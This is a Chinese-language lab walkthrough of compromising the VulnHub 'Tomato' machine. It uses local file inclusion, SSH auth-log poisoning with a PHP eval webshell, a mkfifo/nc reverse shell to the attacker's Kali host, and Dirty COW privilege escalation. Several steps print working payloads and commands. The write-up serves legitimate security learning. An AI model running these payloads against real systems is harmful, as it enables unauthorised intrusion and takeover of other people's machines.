本文详细介绍了 VulnHub-Tomato 靶机的渗透测试过程。包括靶机部署,通过 nmap 等工具进行信息收集,发现文件包含漏洞并利用其查看文件、写入一句话木马,实现反弹 shell 和生成可交互式 shell,最后使用sh脚本进行提权。
文章目录
-
- 靶机介绍
- 信息收集
- 漏洞利用
-
- 本地文件包含 (LFI)
- [日志注入(Log Inclusion)](#日志注入(Log Inclusion))
- 后渗透:提权
-
- [1. CVE-2021-3493 (Ubuntu OverlayFS)](#1. CVE-2021-3493 (Ubuntu OverlayFS))
- [2. CVE-2017-16995 (eBPF verifier)](#2. CVE-2017-16995 (eBPF verifier))
- [3. CVE-2016-5195 (Dirty COW)](#3. CVE-2016-5195 (Dirty COW))
- 漏洞提权:尝试脏牛
- 使用CVE-2017-6074进行提权
- 总结
靶机介绍
信息收集
这里我们通过nmap对目标主机进行信息收集:
bash
# 确定目标主机的IP地址
nmap -sP 192.168.44.0/24
# 确定开放了哪些端口服务
nmap -sC -sV -A -T4 -p- 192.168.44.133
结果如下:

- 21端口:
ftp服务(vsftpd 3.0.3),用于在客户端与服务器之间进行文件的上传、下载等传输操作。 - 80端口:
http服务(Apache httpd 2.4.18),通过HTTP协议对外提供Web网页访问服务,对应站点标题为Tomato。 - 2211端口:
ssh服务(OpenSSH 7.2p2),用于加密远程登录服务器、执行命令或传输文件,此端口为非默认SSH端口(默认22)。 - 8888端口:
http服务(nginx 1.10.3),提供Web服务但配置了基础认证,需输入用户名和密码才能访问,Nginx常作为反向代理或轻量级Web服务器使用。
80 和 8888 端口分别使用 Apache 和 Nginx 两种不同的 Web 服务器,需分别针对其版本特性进行后续排查
这里我们分别尝试访问:http://192.168.44.133/

(只有一个图片,源代码并没有可用信息;)
访问 **http://192.168.44.133:8888/**,发现需要账号密码:

Web目录枚举
所以我们只能对其进行目录扫描,用多种工具进行尝试避免遗漏:

可以得到一个antibot_bot 目录;

无可用信息;
结果如上,所以需要学会使用多种工具进行信息收集;
所以我们访问: http://192.168.44.133/antibot_image/antibots/
发现了许多目录:

经过排查,只有info.php 才能访问,其他目录均为空白信息:

基础环境与版本信息
- 操作系统: Linux ubuntu 4.4.0-21-generic (Ubuntu 16.04.15)。这是一个较旧的内核版本,可能存在内核提权漏洞(如 Dirty Cow 等)。
- PHP 版本:
7.0.33 - Web Server:
Apache/2.4.18 - 绝对路径:
/var/www/html/antibot_image/antibots/info.php
关键安全配置分析:
| 配置项 | 取值 | 说明 |
|---|---|---|
allow_url_fopen |
On |
允许从远程 URL 读取数据。 |
allow_url_include |
Off |
关键防线:虽然开启了 allow_url_fopen,但关闭了此项,意味着无法直接通过 include 'http://evil.com/shell.txt' 进行远程文件包含 (RFI)。 |
disable_functions |
见下方说明 | 禁用了 pcntl_* 系列函数,但并未禁用常见的执行函数如 system, exec, passthru, shell_exec 或 proc_open。这意味着如果能拿到 Webshell,执行系统命令基本无阻碍。 |
open_basedir |
no value |
未设置。这意味着 PHP 脚本理论上可以访问系统中的任何可读文件(如 /etc/passwd),没有跨目录访问限制。 |
通过分析info.php内容,我们可以得知该系统可能存在本地文件包含 (LFI)漏洞;
漏洞利用
本地文件包含 (LFI)
由于 allow_url_include 为 Off,你无法直接加载远程 Shell,但可以读取本地敏感文件:
bash
Payload:
?image=/etc/passwd
?image=../../../../etc/passwd
结果如下,确实存在:

光能访问文件可不行,我们还需要拿下这台主机的控制权才可以;
日志注入(Log Inclusion)
既然知道 Web Server 是 Apache,且 allow_url_include 关闭,可以尝试将恶意代码写入日志,然后通过 include 包含该日志文件来实现 RCE。
可利用的日志文件
但首先第一步,我们需要哪些日志我们能够利用:
/var/log/apache2/access.log:记录所有 HTTP 请求。通过修改 User-Agent 注入木马最常用。/var/log/apache2/error.log:记录 Web 报错。通过请求一个包含恶意代码的不存在路径(404 错误)注入。/var/log/nginx/access.log:Nginx 的访问日志。利用方式与 Apache 访问日志完全一致。/var/log/nginx/error.log:Nginx 的错误日志。记录请求头过长或路径非法等产生的错误。/var/log/auth.log:Ubuntu/Debian 认证日志。通过 SSH 登录时将 用户名 设置为木马代码来注入。/var/log/secure:CentOS/RHEL 认证日志。作用与auth.log相同,记录登录尝试。
通过尝试,我只发现了/var/log/auth.log 存在,所以我们输入下面方法尝试注入:
使用 nc (Netcat) 模拟原始连接(最底层、最稳)
这是跳过所有客户端校验的最直接方法。由于 nc 只负责发送原始字节,它不会管你的用户名里有什么字符。
- 在 Kali 终端执行:
bash
nc -nv 192.168.44.133 2211
- 连接成功后,你会看到类似
SSH-2.0-OpenSSH_7.2p2...的 banner。 - 此时直接粘贴以下内容并按回车(即使它看起来不像合法的 SSH 协议请求):
php
<?php phpinfo(); @eval($_POST['sss']); ?>
- 你会看到一个协议报错,连接会断开。
- 得到结果:

- 结果 :这段 PHP 代码会被 SSH 服务端作为"非法尝试登录的用户名"记录在
/var/log/auth.log中。
验证与利用
使用 Burp Suite 发送一个 POST 请求:
- URL :
http://192.168.44.133/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log - Body :
sss=system('id');
成功返回结果:

接下来我们就需要用它反弹一个shell到Kali上;
方法一:nc监听
Kali 终端(IP: 192.168.44.129)执行以下命令,开启 9001 端口监听:nc -lvnp 9001
目标机器构造反弹 Shell Payload:sss=system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.44.129 9001 >/tmp/f');
方法二:蚁剑连接
这里我们通过一句话木马,将其保存在了/var/log/auth.log上,所以可以通过蚁剑进行连接:
- 如果
蚁剑不知道怎么连接的,可以看:如何解决蚁剑返回数据为空(已成功解决)
输入连接:http://192.168.44.133/antibot_image/antibots/info.php?image=.../.../.../.../.../.../var/log/auth.log


随后成功进入目标机器,可以进行我们的提权操作;
后渗透:提权
我们进入了目标机器,可以上传工具对其进行漏洞等信息收集:

根据版本信息,我们可以知道这是 Ubuntu 16.04 的早期内核,存在多个可以直接导致 Root 权限提升 的重量级内核漏洞:
| 漏洞名称 | CVE 编号 | 风险等级 | 说明 |
|---|---|---|---|
| Dirty COW | CVE-2016-5195 | 极高 (Critical) | 经典写时复制漏洞,通过修改 /etc/passwd 提权。 |
| Double-Put | CVE-2016-4557 | 高 (High) | 针对 BPF 系统调用的漏洞。 |
| OverlayFS | CVE-2021-3493 | 高 (High) | 较新的提权手段,对旧内核兼容性极好。 |
| AF_PACKET | CVE-2016-8655 | 中 (Medium) | 竞态条件漏洞,通常需要特定的系统配置。 |
这里因为蚁剑上不好执行各种
.sh脚本,所以我把它转移到Kali上执行;
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.44.129 9001 >/tmp/f
- nc -lvnp 9001

随后执行脚本:linpeas.sh

版本内核:

内核可利用漏洞:


我们将信息丢给GPT分析,得到结果:
1. CVE-2021-3493 (Ubuntu OverlayFS)
- 理由:这是列表中最新的针对 Ubuntu 的提权漏洞。它极其稳定,不容易把服务器打蓝屏。
- 适用性:LinPEAS 明确标出它适用于 Ubuntu 16.04 且内核在 3.13 到 5.14 之间。
2. CVE-2017-16995 (eBPF verifier)
- 理由 :这是 Ubuntu 16.04 上最经典 的提权漏洞。你的
unpriv_bpf_disabled = 0正好满足利用条件。 - LinPEAS 评分 :Rank 5 (最高分)。
3. CVE-2016-5195 (Dirty COW)
- 理由:脏牛漏洞在你的内核版本(4.4.0-21)中是必中的。
- 特点 :它通过改写
/etc/passwd或覆盖 SUID 程序来拿权限。
漏洞不唯一,这个版本的Ubuntu有很多漏洞,大家可以自行尝试;
漏洞提权:尝试脏牛
这里我使用脏牛提权,先在Kali里进行编译,然后上传到目标机器进行执行:
md,尝试了几个漏洞都失败了,都是版本太低要么就是不合适,浪费我时间;
bash
# 编译执行:
chmod +x dirty
./dirty [你设置的新密码]

创建用户成功后:
bash
# 切换用户,即为root权限
su toor
123456
当然也很容易发生另一个结局:机器被打崩了,所以脏牛非迫不得已不用

使用CVE-2017-6074进行提权
这里使用网上的WP进行尝试;

又崩了。。。无语;
总结
最后其实就是通过找到payload然后执行脚本进行提取,与之前的靶机没什么两样;
期待下次再见;